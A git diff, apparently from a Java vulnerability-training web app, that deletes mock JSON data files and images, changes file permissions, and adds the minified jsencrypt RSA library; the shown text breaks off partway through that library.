"2018/07/21 13:56:43", - "isMenu": 1, - "parentId": 18 - } - ] -} \ No newline at end of file diff --git a/src/main/resources/static/api/table.json b/src/main/resources/static/api/table.json deleted file mode 100644 index 7bda61b..0000000 --- a/src/main/resources/static/api/table.json +++ /dev/null @@ -1,127 +0,0 @@ -{ - "code": 0, - "msg": "", - "count": 1000, - "data": [ - { - "id": 10000, - "username": "user-0", - "sex": "女", - "city": "城市-0", - "sign": "签名-0", - "experience": 255, - "logins": 24, - "wealth": 82830700, - "classify": "作家", - "score": 57 - }, - { - "id": 10001, - "username": "user-1", - "sex": "男", - "city": "城市-1", - "sign": "签名-1", - "experience": 884, - "logins": 58, - "wealth": 64928690, - "classify": "词人", - "score": 27 - }, - { - "id": 10002, - "username": "user-2", - "sex": "女", - "city": "城市-2", - "sign": "签名-2", - "experience": 650, - "logins": 77, - "wealth": 6298078, - "classify": "酱油", - "score": 31 - }, - { - "id": 10003, - "username": "user-3", - "sex": "女", - "city": "城市-3", - "sign": "签名-3", - "experience": 362, - "logins": 157, - "wealth": 37117017, - "classify": "诗人", - "score": 68 - }, - { - "id": 10004, - "username": "user-4", - "sex": "男", - "city": "城市-4", - "sign": "签名-4", - "experience": 807, - "logins": 51, - "wealth": 76263262, - "classify": "作家", - "score": 6 - }, - { - "id": 10005, - "username": "user-5", - "sex": "女", - "city": "城市-5", - "sign": "签名-5", - "experience": 173, - "logins": 68, - "wealth": 60344147, - "classify": "作家", - "score": 87 - }, - { - "id": 10006, - "username": "user-6", - "sex": "女", - "city": "城市-6", - "sign": "签名-6", - "experience": 982, - "logins": 37, - "wealth": 57768166, - "classify": "作家", - "score": 34 - }, - { - "id": 10007, - "username": "user-7", - "sex": "男", - "city": "城市-7", - "sign": "签名-7", - "experience": 727, - "logins": 150, - "wealth": 82030578, - "classify": "作家", - "score": 28 - }, - { - "id": 10008, - "username": "user-8", - "sex": "男", - "city": "城市-8", - "sign": "签名-8", - "experience": 951, - "logins": 133, - "wealth": 16503371, - "classify": "词人", - "score": 14 - }, - { - "id": 10009, - "username": "user-9", - "sex": "女", - "city": "城市-9", - "sign": "签名-9", - "experience": 484, - "logins": 25, - "wealth": 86801934, - "classify": "词人", - "score": 75 - } - ] -} \ No newline at end of file diff --git a/src/main/resources/static/api/tableSelect.json b/src/main/resources/static/api/tableSelect.json deleted file mode 100644 index 37fb0ed..0000000 --- a/src/main/resources/static/api/tableSelect.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "code": 0, - "msg": "", - "count": 16, - "data": [ - { "id":"001", "username":"张玉林", "sex":"女" }, - { "id":"002", "username":"刘晓军", "sex":"男" }, - { "id":"003", "username":"张恒", "sex":"男" }, - { "id":"004", "username":"朱一", "sex":"男" }, - { "id":"005", "username":"刘佳能", "sex":"女" }, - { "id":"006", "username":"晓梅", "sex":"女" }, - { "id":"007", "username":"马冬梅", "sex":"女" }, - { "id":"008", "username":"刘晓庆", "sex":"女" }, - { "id":"009", "username":"刘晓庆", "sex":"女" }, - { "id":"010", "username":"刘晓庆", "sex":"女" }, - { "id":"011", "username":"刘晓庆", "sex":"女" }, - { "id":"012", "username":"刘晓庆", "sex":"女" }, - { "id":"013", "username":"刘晓庆", "sex":"女" }, - { "id":"014", "username":"刘晓庆", "sex":"女" }, - { "id":"015", "username":"刘晓庆", "sex":"女" }, - { "id":"016", "username":"刘晓庆", "sex":"女" } - ] -} \ No newline at end of file diff --git a/src/main/resources/static/api/upload.json b/src/main/resources/static/api/upload.json deleted file mode 100644 index 691902d..0000000 --- a/src/main/resources/static/api/upload.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "code": 1, - "msg": "上传成功", - "data": { - "url": [ - "../images/logo.png", - "../images/captcha.jpg" - ] - } -} diff --git a/src/main/resources/static/css/juejin.css b/src/main/resources/static/css/juejin.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/juejinsafe.css b/src/main/resources/static/css/juejinsafe.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/layuimini.css b/src/main/resources/static/css/layuimini.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/public.css b/src/main/resources/static/css/public.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/css/themes/default.css b/src/main/resources/static/css/themes/default.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/bg.jpg b/src/main/resources/static/images/bg.jpg deleted file mode 100644 index 82b853e..0000000 Binary files a/src/main/resources/static/images/bg.jpg and /dev/null differ diff --git a/src/main/resources/static/images/home.png b/src/main/resources/static/images/home.png deleted file mode 100644 index 348ff27..0000000 Binary files a/src/main/resources/static/images/home.png and /dev/null differ diff --git a/src/main/resources/static/images/icon-login.png b/src/main/resources/static/images/icon-login.png deleted file mode 100644 index 1db2f96..0000000 Binary files a/src/main/resources/static/images/icon-login.png and /dev/null differ diff --git a/src/main/resources/static/images/loginbg.png b/src/main/resources/static/images/loginbg.png deleted file mode 100644 index 675c74b..0000000 Binary files a/src/main/resources/static/images/loginbg.png and /dev/null differ diff --git a/src/main/resources/static/images/vul/components/deserialize.jpg b/src/main/resources/static/images/vul/components/deserialize.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/components/fastjson.png b/src/main/resources/static/images/vul/components/fastjson.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/components/log4j.png b/src/main/resources/static/images/vul/components/log4j.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/components/shiro.png b/src/main/resources/static/images/vul/components/shiro.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/crossOrigin/sameOrign.png b/src/main/resources/static/images/vul/crossOrigin/sameOrign.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/csrf/csrf.png b/src/main/resources/static/images/vul/csrf/csrf.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/dos/dos.jpeg b/src/main/resources/static/images/vul/dos/dos.jpeg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/idor/idor.png b/src/main/resources/static/images/vul/idor/idor.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/jdbc/jdbc.png b/src/main/resources/static/images/vul/jdbc/jdbc.png new file mode 100755 index 0000000..a4cf54f Binary files /dev/null and b/src/main/resources/static/images/vul/jdbc/jdbc.png differ diff --git a/src/main/resources/static/images/vul/memshell/filter.png b/src/main/resources/static/images/vul/memshell/filter.png new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/src/main/resources/static/images/vul/memshell/filter.png @@ -0,0 +1 @@ + diff --git a/src/main/resources/static/images/vul/memshell/listener.png b/src/main/resources/static/images/vul/memshell/listener.png new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/src/main/resources/static/images/vul/memshell/listener.png @@ -0,0 +1 @@ + diff --git a/src/main/resources/static/images/vul/memshell/servlet.png b/src/main/resources/static/images/vul/memshell/servlet.png new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/src/main/resources/static/images/vul/memshell/servlet.png @@ -0,0 +1 @@ + diff --git a/src/main/resources/static/images/vul/ssrf/ssrf.jpg b/src/main/resources/static/images/vul/ssrf/ssrf.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xss/dom.png b/src/main/resources/static/images/vul/xss/dom.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xss/reflect.png b/src/main/resources/static/images/vul/xss/reflect.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xss/store.jpg b/src/main/resources/static/images/vul/xss/store.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/images/vul/xxe/xxe.png b/src/main/resources/static/images/vul/xxe/xxe.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/hackcookie.js b/src/main/resources/static/js/hackcookie.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/header.js b/src/main/resources/static/js/header.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/jquery.request.js b/src/main/resources/static/js/jquery.request.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/js/jsencrypt.min.js b/src/main/resources/static/js/jsencrypt.min.js new file mode 100755 index 0000000..c2b6b10 --- /dev/null +++ b/src/main/resources/static/js/jsencrypt.min.js @@ -0,0 +1,1540 @@ +/*! For license information please see jsencrypt.min.js.LICENSE.txt */ +!function (t, e) { + "object" == typeof exports && "object" == typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define([], e) : "object" == typeof exports ? exports.JSEncrypt = e() : t.JSEncrypt = e() +}(window, (function () { + return (() => { + "use strict"; + var t = { + 771: (t, e, i) => { + function r(t) { + return "0123456789abcdefghijklmnopqrstuvwxyz".charAt(t) + } + + function n(t, e) { + return t & e + } + + function s(t, e) { + return t | e + } + + function o(t, e) { + return t ^ e + } + + function h(t, e) { + return t & ~e + } + + function a(t) { + if (0 == t) return -1; + var e = 0; + return 0 == (65535 & t) && (t >>= 16, e += 16), 0 == (255 & t) && (t >>= 8, e += 8), 0 == (15 & t) && (t >>= 4, e += 4), 0 == (3 & t) && (t >>= 2, e += 2), 0 == (1 & t) && ++e, e + } + + function u(t) { + for (var e = 0; 0 != t;) t &= t - 1, ++e; + return e + } + + i.d(e, {default: () => nt}); + var c, f = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + function l(t) { + var e, i, r = ""; + for (e = 0; e + 3 <= t.length; e += 3) i = parseInt(t.substring(e, e + 3), 16), r += f.charAt(i >> 6) + f.charAt(63 & i); + for (e + 1 == t.length ? (i = parseInt(t.substring(e, e + 1), 16), r += f.charAt(i << 2)) : e + 2 == t.length && (i = parseInt(t.substring(e, e + 2), 16), r += f.charAt(i >> 2) + f.charAt((3 & i) << 4)); (3 & r.length) > 0;) r += "="; + return r + } + + function p(t) { + var e, i = "", n = 0, s = 0; + for (e = 0; e < t.length && "=" != t.charAt(e); ++e) { + var o = f.indexOf(t.charAt(e)); + o < 0 || (0 == n ? (i += r(o >> 2), s = 3 & o, n = 1) : 1 == n ? (i += r(s << 2 | o >> 4), s = 15 & o, n = 2) : 2 == n ? (i += r(s), i += r(o >> 2), s = 3 & o, n = 3) : (i += r(s << 2 | o >> 4), i += r(15 & o), n = 0)) + } + return 1 == n && (i += r(s << 2)), i + } + + var g, d = { + decode: function (t) { + var e; + if (void 0 === g) { + var i = "= \f\n\r\t \u2028\u2029"; + for (g = Object.create(null), e = 0; e < 64; ++e) g["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(e)] = e; + for (g["-"] = 62, g._ = 63, e = 0; e < i.length; ++e) g[i.charAt(e)] = -1 + } + var r = [], n = 0, s = 0; + for (e = 0; e < t.length; ++e) { + var o = t.charAt(e); + if ("=" == o) break; + if (-1 != (o = g[o])) { + if (void 0 === o) throw new Error("Illegal character at offset " + e); + n |= o, ++s >= 4 ? (r[r.length] = n >> 16, r[r.length] = n >> 8 & 255, r[r.length] = 255 & n, n = 0, s = 0) : n <<= 6 + } + } + switch (s) { + case 1: + throw new Error("Base64 encoding incomplete: at least 2 bits missing"); + case 2: + r[r.length] = n >> 10; + break; + case 3: + r[r.length] = n >> 16, r[r.length] = n >> 8 & 255 + } + return r + }, + re: /-----BEGIN [^-]+-----([A-Za-z0-9+\/=\s]+)-----END [^-]+-----|begin-base64[^\n]+\n([A-Za-z0-9+\/=\s]+)====/, + unarmor: function (t) { + var e = d.re.exec(t); + if (e) if (e[1]) t = e[1]; else { + if (!e[2]) throw new Error("RegExp out of sync"); + t = e[2] + } + return d.decode(t) + } + }, v = 1e13, m = function () { + function t(t) { + this.buf = [+t || 0] + } + + return t.prototype.mulAdd = function (t, e) { + var i, r, n = this.buf, s = n.length; + for (i = 0; i < s; ++i) (r = n[i] * t + e) < v ? e = 0 : r -= (e = 0 | r / v) * v, n[i] = r; + e > 0 && (n[i] = e) + }, t.prototype.sub = function (t) { + var e, i, r = this.buf, n = r.length; + for (e = 0; e < n; ++e) (i = r[e] - t) < 0 ? (i += v, t = 1) : t = 0, r[e] = i; + for (; 0 === r[r.length - 1];) r.pop() + }, t.prototype.toString = function (t) { + if (10 != (t || 10)) throw new Error("only base 10 is supported"); + for (var e = this.buf, i = e[e.length - 1].toString(), r = e.length - 2; r >= 0; --r) i += (v + e[r]).toString().substring(1); + return i + }, t.prototype.valueOf = function () { + for (var t = this.buf, e = 0, i = t.length - 1; i >= 0; --i) e = e * v + t[i]; + return e + }, t.prototype.simplify = function () { + var t = this.buf; + return 1 == t.length ? t[0] : this + }, t + }(), + y = /^(\d\d)(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])([01]\d|2[0-3])(?:([0-5]\d)(?:([0-5]\d)(?:[.,](\d{1,3}))?)?)?(Z|[-+](?:[0]\d|1[0-2])([0-5]\d)?)?$/, + b = /^(\d\d\d\d)(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])([01]\d|2[0-3])(?:([0-5]\d)(?:([0-5]\d)(?:[.,](\d{1,3}))?)?)?(Z|[-+](?:[0]\d|1[0-2])([0-5]\d)?)?$/; + + function T(t, e) { + return t.length > e && (t = t.substring(0, e) + "…"), t + } + + var S, E = function () { + function t(e, i) { + this.hexDigits = "0123456789ABCDEF", e instanceof t ? (this.enc = e.enc, this.pos = e.pos) : (this.enc = e, this.pos = i) + } + + return t.prototype.get = function (t) { + if (void 0 === t && (t = this.pos++), t >= this.enc.length) throw new Error("Requesting byte offset " + t + " on a stream of length " + this.enc.length); + return "string" == typeof this.enc ? this.enc.charCodeAt(t) : this.enc[t] + }, t.prototype.hexByte = function (t) { + return this.hexDigits.charAt(t >> 4 & 15) + this.hexDigits.charAt(15 & t) + }, t.prototype.hexDump = function (t, e, i) { + for (var r = "", n = t; n < e; ++n) if (r += this.hexByte(this.get(n)), !0 !== i) switch (15 & n) { + case 7: + r += " "; + break; + case 15: + r += "\n"; + break; + default: + r += " " + } + return r + }, t.prototype.isASCII = function (t, e) { + for (var i = t; i < e; ++i) { + var r = this.get(i); + if (r < 32 || r > 176) return !1 + } + return !0 + }, t.prototype.parseStringISO = function (t, e) { + for (var i = "", r = t; r < e; ++r) i += String.fromCharCode(this.get(r)); + return i + }, t.prototype.parseStringUTF = function (t, e) { + for (var i = "", r = t; r < e;) { + var n = this.get(r++); + i += n < 128 ? String.fromCharCode(n) : n > 191 && n < 224 ? String.fromCharCode((31 & n) << 6 | 63 & this.get(r++)) : String.fromCharCode((15 & n) << 12 | (63 & this.get(r++)) << 6 | 63 & this.get(r++)) + } + return i + }, t.prototype.parseStringBMP = function (t, e) { + for (var i, r, n = "", s = t; s < e;) i = this.get(s++), r = this.get(s++), n += String.fromCharCode(i << 8 | r); + return n + }, t.prototype.parseTime = function (t, e, i) { + var r = this.parseStringISO(t, e), n = (i ? y : b).exec(r); + return n ? (i && (n[1] = +n[1], n[1] += +n[1] < 70 ? 2e3 : 1900), r = n[1] + "-" + n[2] + "-" + n[3] + " " + n[4], n[5] && (r += ":" + n[5], n[6] && (r += ":" + n[6], n[7] && (r += "." + n[7]))), n[8] && (r += " UTC", "Z" != n[8] && (r += n[8], n[9] && (r += ":" + n[9]))), r) : "Unrecognized time: " + r + }, t.prototype.parseInteger = function (t, e) { + for (var i, r = this.get(t), n = r > 127, s = n ? 255 : 0, o = ""; r == s && ++t < e;) r = this.get(t); + if (0 == (i = e - t)) return n ? -1 : 0; + if (i > 4) { + for (o = r, i <<= 3; 0 == (128 & (+o ^ s));) o = +o << 1, --i; + o = "(" + i + " bit)\n" + } + n && (r -= 256); + for (var h = new m(r), a = t + 1; a < e; ++a) h.mulAdd(256, this.get(a)); + return o + h.toString() + }, t.prototype.parseBitString = function (t, e, i) { + for (var r = this.get(t), n = "(" + ((e - t - 1 << 3) - r) + " bit)\n", s = "", o = t + 1; o < e; ++o) { + for (var h = this.get(o), a = o == e - 1 ? r : 0, u = 7; u >= a; --u) s += h >> u & 1 ? "1" : "0"; + if (s.length > i) return n + T(s, i) + } + return n + s + }, t.prototype.parseOctetString = function (t, e, i) { + if (this.isASCII(t, e)) return T(this.parseStringISO(t, e), i); + var r = e - t, n = "(" + r + " byte)\n"; + r > (i /= 2) && (e = t + i); + for (var s = t; s < e; ++s) n += this.hexByte(this.get(s)); + return r > i && (n += "…"), n + }, t.prototype.parseOID = function (t, e, i) { + for (var r = "", n = new m, s = 0, o = t; o < e; ++o) { + var h = this.get(o); + if (n.mulAdd(128, 127 & h), s += 7, !(128 & h)) { + if ("" === r) if ((n = n.simplify()) instanceof m) n.sub(80), r = "2." + n.toString(); else { + var a = n < 80 ? n < 40 ? 0 : 1 : 2; + r = a + "." + (n - 40 * a) + } else r += "." + n.toString(); + if (r.length > i) return T(r, i); + n = new m, s = 0 + } + } + return s > 0 && (r += ".incomplete"), r + }, t + }(), w = function () { + function t(t, e, i, r, n) { + if (!(r instanceof D)) throw new Error("Invalid tag value."); + this.stream = t, this.header = e, this.length = i, this.tag = r, this.sub = n + } + + return t.prototype.typeName = function () { + switch (this.tag.tagClass) { + case 0: + switch (this.tag.tagNumber) { + case 0: + return "EOC"; + case 1: + return "BOOLEAN"; + case 2: + return "INTEGER"; + case 3: + return "BIT_STRING"; + case 4: + return "OCTET_STRING"; + case 5: + return "NULL"; + case 6: + return "OBJECT_IDENTIFIER"; + case 7: + return "ObjectDescriptor"; + case 8: + return "EXTERNAL"; + case 9: + return "REAL"; + case 10: + return "ENUMERATED"; + case 11: + return "EMBEDDED_PDV"; + case 12: + return "UTF8String"; + case 16: + return "SEQUENCE"; + case 17: + return "SET"; + case 18: + return "NumericString"; + case 19: + return "PrintableString"; + case 20: + return "TeletexString"; + case 21: + return "VideotexString"; + case 22: + return "IA5String"; + case 23: + return "UTCTime"; + case 24: + return "GeneralizedTime"; + case 25: + return "GraphicString"; + case 26: + return "VisibleString"; + case 27: + return "GeneralString"; + case 28: + return "UniversalString"; + case 30: + return "BMPString" + } + return "Universal_" + this.tag.tagNumber.toString(); + case 1: + return "Application_" + this.tag.tagNumber.toString(); + case 2: + return "[" + this.tag.tagNumber.toString() + "]"; + case 3: + return "Private_" + this.tag.tagNumber.toString() + } + }, t.prototype.content = function (t) { + if (void 0 === this.tag) return null; + void 0 === t && (t = 1 / 0); + var e = this.posContent(), i = Math.abs(this.length); + if (!this.tag.isUniversal()) return null !== this.sub ? "(" + this.sub.length + " elem)" : this.stream.parseOctetString(e, e + i, t); + switch (this.tag.tagNumber) { + case 1: + return 0 === this.stream.get(e) ? "false" : "true"; + case 2: + return this.stream.parseInteger(e, e + i); + case 3: + return this.sub ? "(" + this.sub.length + " elem)" : this.stream.parseBitString(e, e + i, t); + case 4: + return this.sub ? "(" + this.sub.length + " elem)" : this.stream.parseOctetString(e, e + i, t); + case 6: + return this.stream.parseOID(e, e + i, t); + case 16: + case 17: + return null !== this.sub ? "(" + this.sub.length + " elem)" : "(no elem)"; + case 12: + return T(this.stream.parseStringUTF(e, e + i), t); + case 18: + case 19: + case 20: + case 21: + case 22: + case 26: + return T(this.stream.parseStringISO(e, e + i), t); + case 30: + return T(this.stream.parseStringBMP(e, e + i), t); + case 23: + case 24: + return this.stream.parseTime(e, e + i, 23 == this.tag.tagNumber) + } + return null + }, t.prototype.toString = function () { + return this.typeName() + "@" + this.stream.pos + "[header:" + this.header + ",length:" + this.length + ",sub:" + (null === this.sub ? "null" : this.sub.length) + "]" + }, t.prototype.toPrettyString = function (t) { + void 0 === t && (t = ""); + var e = t + this.typeName() + " @" + this.stream.pos; + if (this.length >= 0 && (e += "+"), e += this.length, this.tag.tagConstructed ? e += " (constructed)" : !this.tag.isUniversal() || 3 != this.tag.tagNumber && 4 != this.tag.tagNumber || null === this.sub || (e += " (encapsulates)"), e += "\n", null !== this.sub) { + t += " "; + for (var i = 0, r = this.sub.length; i < r; ++i) e += this.sub[i].toPrettyString(t) + } + return e + }, t.prototype.posStart = function () { + return this.stream.pos + }, t.prototype.posContent = function () { + return this.stream.pos + this.header + }, t.prototype.posEnd = function () { + return this.stream.pos + this.header + Math.abs(this.length) + }, t.prototype.toHexString = function () { + return this.stream.hexDump(this.posStart(), this.posEnd(), !0) + }, t.decodeLength = function (t) { + var e = t.get(), i = 127 & e; + if (i == e) return i; + if (i > 6) throw new Error("Length over 48 bits not supported at position " + (t.pos - 1)); + if (0 === i) return null; + e = 0; + for (var r = 0; r < i; ++r) e = 256 * e + t.get(); + return e + }, t.prototype.getHexStringValue = function () { + var t = this.toHexString(), e = 2 * this.header, i = 2 * this.length; + return t.substr(e, i) + }, t.decode = function (e) { + var i; + i = e instanceof E ? e : new E(e, 0); + var r = new E(i), n = new D(i), s = t.decodeLength(i), o = i.pos, h = o - r.pos, a = null, + u = function () { + var e = []; + if (null !== s) { + for (var r = o + s; i.pos < r;) e[e.length] = t.decode(i); + if (i.pos != r) throw new Error("Content size is not correct for container starting at offset " + o) + } else try { + for (; ;) { + var n = t.decode(i); + if (n.tag.isEOC()) break; + e[e.length] = n + } + s = o - i.pos + } catch (t) { + throw new Error("Exception while decoding undefined length content: " + t) + } + return e + }; + if (n.tagConstructed) a = u(); else if (n.isUniversal() && (3 == n.tagNumber || 4 == n.tagNumber)) try { + if (3 == n.tagNumber && 0 != i.get()) throw new Error("BIT STRINGs with unused bits cannot encapsulate."); + a = u(); + for (var c = 0; c < a.length; ++c) if (a[c].tag.isEOC()) throw new Error("EOC is not supposed to be actual content.") + } catch (t) { + a = null + } + if (null === a) { + if (null === s) throw new Error("We can't skip over an invalid tag with undefined length at offset " + o); + i.pos = o + Math.abs(s) + } + return new t(r, h, s, n, a) + }, t + }(), D = function () { + function t(t) { + var e = t.get(); + if (this.tagClass = e >> 6, this.tagConstructed = 0 != (32 & e), this.tagNumber = 31 & e, 31 == this.tagNumber) { + var i = new m; + do { + e = t.get(), i.mulAdd(128, 127 & e) + } while (128 & e); + this.tagNumber = i.simplify() + } + } + + return t.prototype.isUniversal = function () { + return 0 === this.tagClass + }, t.prototype.isEOC = function () { + return 0 === this.tagClass && 0 === this.tagNumber + }, t + }(), + x = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997], + R = (1 << 26) / x[x.length - 1], B = function () { + function t(t, e, i) { + null != t && ("number" == typeof t ? this.fromNumber(t, e, i) : null == e && "string" != typeof t ? this.fromString(t, 256) : this.fromString(t, e)) + } + + return t.prototype.toString = function (t) { + if (this.s < 0) return "-" + this.negate().toString(t); + var e; + if (16 == t) e = 4; else if (8 == t) e = 3; else if (2 == t) e = 1; else if (32 == t) e = 5; else { + if (4 != t) return this.toRadix(t); + e = 2 + } + var i, n = (1 << e) - 1, s = !1, o = "", h = this.t, a = this.DB - h * this.DB % e; + if (h-- > 0) for (a < this.DB && (i = this[h] >> a) > 0 && (s = !0, o = r(i)); h >= 0;) a < e ? (i = (this[h] & (1 << a) - 1) << e - a, i |= this[--h] >> (a += this.DB - e)) : (i = this[h] >> (a -= e) & n, a <= 0 && (a += this.DB, --h)), i > 0 && (s = !0), s && (o += r(i)); + return s ? o : "0" + }, t.prototype.negate = function () { + var e = N(); + return t.ZERO.subTo(this, e), e + }, t.prototype.abs = function () { + return this.s < 0 ? this.negate() : this + }, t.prototype.compareTo = function (t) { + var e = this.s - t.s; + if (0 != e) return e; + var i = this.t; + if (0 != (e = i - t.t)) return this.s < 0 ? -e : e; + for (; --i >= 0;) if (0 != (e = this[i] - t[i])) return e; + return 0 + }, t.prototype.bitLength = function () { + return this.t <= 0 ? 0 : this.DB * (this.t - 1) + F(this[this.t - 1] ^ this.s & this.DM) + }, t.prototype.mod = function (e) { + var i = N(); + return this.abs().divRemTo(e, null, i), this.s < 0 && i.compareTo(t.ZERO) > 0 && e.subTo(i, i), i + }, t.prototype.modPowInt = function (t, e) { + var i; + return i = t < 256 || e.isEven() ? new A(e) : new V(e), this.exp(t, i) + }, t.prototype.clone = function () { + var t = N(); + return this.copyTo(t), t + }, t.prototype.intValue = function () { + if (this.s < 0) { + if (1 == this.t) return this[0] - this.DV; + if (0 == this.t) return -1 + } else { + if (1 == this.t) return this[0]; + if (0 == this.t) return 0 + } + return (this[1] & (1 << 32 - this.DB) - 1) << this.DB | this[0] + }, t.prototype.byteValue = function () { + return 0 == this.t ? this.s : this[0] << 24 >> 24 + }, t.prototype.shortValue = function () { + return 0 == this.t ? this.s : this[0] << 16 >> 16 + }, t.prototype.signum = function () { + return this.s < 0 ? -1 : this.t <= 0 || 1 == this.t && this[0] <= 0 ? 0 : 1 + }, t.prototype.toByteArray = function () { + var t = this.t, e = []; + e[0] = this.s; + var i, r = this.DB - t * this.DB % 8, n = 0; + if (t-- > 0) for (r < this.DB && (i = this[t] >> r) != (this.s & this.DM) >> r && (e[n++] = i | this.s << this.DB - r); t >= 0;) r < 8 ? (i = (this[t] & (1 << r) - 1) << 8 - r, i |= this[--t] >> (r += this.DB - 8)) : (i = this[t] >> (r -= 8) & 255, r <= 0 && (r += this.DB, --t)), 0 != (128 & i) && (i |= -256), 0 == n && (128 & this.s) != (128 & i) && ++n, (n > 0 || i != this.s) && (e[n++] = i); + return e + }, t.prototype.equals = function (t) { + return 0 == this.compareTo(t) + }, t.prototype.min = function (t) { + return this.compareTo(t) < 0 ? this : t + }, t.prototype.max = function (t) { + return this.compareTo(t) > 0 ? this : t + }, t.prototype.and = function (t) { + var e = N(); + return this.bitwiseTo(t, n, e), e + }, t.prototype.or = function (t) { + var e = N(); + return this.bitwiseTo(t, s, e), e + }, t.prototype.xor = function (t) { + var e = N(); + return this.bitwiseTo(t, o, e), e + }, t.prototype.andNot = function (t) { + var e = N(); + return this.bitwiseTo(t, h, e), e + }, t.prototype.not = function () { + for (var t = N(), e = 0; e < this.t; ++e) t[e] = this.DM & ~this[e]; + return t.t = this.t, t.s = ~this.s, t + }, t.prototype.shiftLeft = function (t) { + var e = N(); + return t < 0 ? this.rShiftTo(-t, e) : this.lShiftTo(t, e), e + }, t.prototype.shiftRight = function (t) { + var e = N(); + return t < 0 ? this.lShiftTo(-t, e) : this.rShiftTo(t, e), e + }, t.prototype.getLowestSetBit = function () { + for (var t = 0; t < this.t; ++t) if (0 != this[t]) return t * this.DB + a(this[t]); + return this.s < 0 ? this.t * this.DB : -1 + }, t.prototype.bitCount = function () { + for (var t = 0, e = this.s & this.DM, i = 0; i < this.t; ++i) t += u(this[i] ^ e); + return t + }, t.prototype.testBit = function (t) { + var e = Math.floor(t / this.DB); + return e >= this.t ? 0 != this.s : 0 != (this[e] & 1 << t % this.DB) + }, t.prototype.setBit = function (t) { + return this.changeBit(t, s) + }, t.prototype.clearBit = function (t) { + return this.changeBit(t, h) + }, t.prototype.flipBit = function (t) { + return this.changeBit(t, o) + }, t.prototype.add = function (t) { + var e = N(); + return this.addTo(t, e), e + }, t.prototype.subtract = function (t) { + var e = N(); + return this.subTo(t, e), e + }, t.prototype.multiply = function (t) { + var e = N(); + return this.multiplyTo(t, e), e + }, t.prototype.divide = function (t) { + var e = N(); + return this.divRemTo(t, e, null), e + }, t.prototype.remainder = function (t) { + var e = N(); + return this.divRemTo(t, null, e), e + }, t.prototype.divideAndRemainder = function (t) { + var e = N(), i = N(); + return this.divRemTo(t, e, i), [e, i] + }, t.prototype.modPow = function (t, e) { + var i, r, n = t.bitLength(), s = C(1); + if (n <= 0) return s; + i = n < 18 ? 1 : n < 48 ? 3 : n < 144 ? 4 : n < 768 ? 5 : 6, r = n < 8 ? new A(e) : e.isEven() ? new I(e) : new V(e); + var o = [], h = 3, a = i - 1, u = (1 << i) - 1; + if (o[1] = r.convert(this), i > 1) { + var c = N(); + for (r.sqrTo(o[1], c); h <= u;) o[h] = N(), r.mulTo(c, o[h - 2], o[h]), h += 2 + } + var f, l, p = t.t - 1, g = !0, d = N(); + for (n = F(t[p]) - 1; p >= 0;) { + for (n >= a ? f = t[p] >> n - a & u : (f = (t[p] & (1 << n + 1) - 1) << a - n, p > 0 && (f |= t[p - 1] >> this.DB + n - a)), h = i; 0 == (1 & f);) f >>= 1, --h; + if ((n -= h) < 0 && (n += this.DB, --p), g) o[f].copyTo(s), g = !1; else { + for (; h > 1;) r.sqrTo(s, d), r.sqrTo(d, s), h -= 2; + h > 0 ? r.sqrTo(s, d) : (l = s, s = d, d = l), r.mulTo(d, o[f], s) + } + for (; p >= 0 && 0 == (t[p] & 1 << n);) r.sqrTo(s, d), l = s, s = d, d = l, --n < 0 && (n = this.DB - 1, --p) + } + return r.revert(s) + }, t.prototype.modInverse = function (e) { + var i = e.isEven(); + if (this.isEven() && i || 0 == e.signum()) return t.ZERO; + for (var r = e.clone(), n = this.clone(), s = C(1), o = C(0), h = C(0), a = C(1); 0 != r.signum();) { + for (; r.isEven();) r.rShiftTo(1, r), i ? (s.isEven() && o.isEven() || 